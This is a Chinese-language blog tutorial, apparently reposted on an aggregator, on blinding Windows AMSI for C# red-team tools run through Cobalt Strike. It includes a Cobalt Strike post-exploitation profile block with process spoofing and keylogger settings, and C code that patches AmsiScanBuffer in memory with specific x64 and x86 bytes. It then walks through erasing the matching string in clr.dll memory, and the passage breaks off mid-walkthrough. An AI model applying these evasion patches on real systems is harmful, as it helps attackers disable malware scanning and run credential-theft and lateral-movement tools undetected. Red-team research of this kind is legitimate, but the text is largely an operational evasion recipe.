2026-05-11 08:15:09 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文详述了C#红队工具绕过AMSI的技巧，指出直接修补AmsiScanBuffer易被拦截，推荐清除clr.dll内存中的对应字符串或使用硬件断点致盲AMSI，后者最隐蔽有效。同时梳理了107个C#后渗透武器库，含55个主机通用与52个域专用工具，覆盖提权、凭据窃取与横向移动等，为红队实战提供丰富工具及绕过防御的可操作方案。 综合评分： 83 文章分类： 红队,免杀,安全工具,内网渗透,渗透测试

cover_image

100多个C#工具怎么用？先学会这招绕过AMSI

原创

陆安予陆安予

白帽子安全笔记2.0

2026年4月3日 06:27 江苏

在小说阅读器读本章

去阅读

这篇文章，我整理了上百个C# 红队工具和插件，获取方式见文末。

一、Cobalt Strike 中的 C# 执行

上文我们介绍了AMSI的历史和监控范围，Cobalt Strike中自带的 execute-assembly 为什么无法绕过AMSI？

这是由配置文件 post-ex 部分控制的，（如4.9.1版本中）AMSI 推荐配置是 false，由于它特征固定，不管是开启还是关闭，现在均会被检测，并要求我们使用自定义的 patch 方法。

post-ex {
&nbsp; &nbsp; set spawnto_x86 "%windir%\syswow64\wbem\wmiprvse.exe -Embedding";
&nbsp; &nbsp; set spawnto_x64 "%windir%\sysnative\wbem\wmiprvse.exe -Embedding";
&nbsp; &nbsp; set pipename "Winsock2\CatalogChangeListener-###-0";
&nbsp; &nbsp; set obfuscate "true";
&nbsp; &nbsp; set smartinject "true";
&nbsp; &nbsp; set cleanup "true";
&nbsp; &nbsp; set amsi_disable "false";&nbsp;#Recommended&nbsp;to Patch AMSI yourself
&nbsp; &nbsp; set keylogger "GetAsyncKeyState";

&nbsp; &nbsp; # Enable one of the following options for starting a spoofed thread
&nbsp; &nbsp;&nbsp;#set&nbsp;threadhint "ntdll.dll!RtlUserThreadStart+0x21"
&nbsp; &nbsp;&nbsp;#set&nbsp;threadhint "kernel32.dll!BaseThreadInitThunk+0x14"
}

二、AMSI绕过方法

现在，我们使用 InlineExecute-Assembly，它将使用修补方法致盲 AMSI。

在 a.exe 中执行 AMSI 修补

BOOL patchAMSI()
{

#ifdef&nbsp;_M_AMD64
&nbsp; &nbsp; unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };//x64
#elif&nbsp;defined(_M_IX86)
&nbsp; &nbsp; unsigned char amsiPatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };//x86
#endif

&nbsp; &nbsp; HINSTANCE hinst = LoadLibrary("amsi.dll");
&nbsp; &nbsp; void* pAddress = (PVOID)GetProcAddress(hinst, "AmsiScanBuffer");

这个代码直接加载amsi.dll，然后强行修改了返回指令使其报错，这个就跟web修改返回值欺骗前端校验一样，可以看到这种简单粗暴的操作已经被精准识别为patch行为，因此任何想尝试操控这个dll的均会被检测。

Defender 拦截 AMSI 修补告警

那只能迂回操作：

根据对.Net检测的逻辑，擦除clr.dll的AmsiScanBuffer以阻止amsi.dll扫描。

未执行修补(左)，执行修补(右)

但这个只能看出加载了C# 看不出效果，我们找一个.NET程序运行。然后Process Hacker找到memory，然后找到clr.dll，可以看到有许多clr.dll，这是正常的，它分配在多个内存区域，我们要知道除了.text代码段必须有读执行（RX)权限，其它数据资源区域通常是读写(RW)，看到中间那个1.8MB的那个，双击打开，点击那个保存。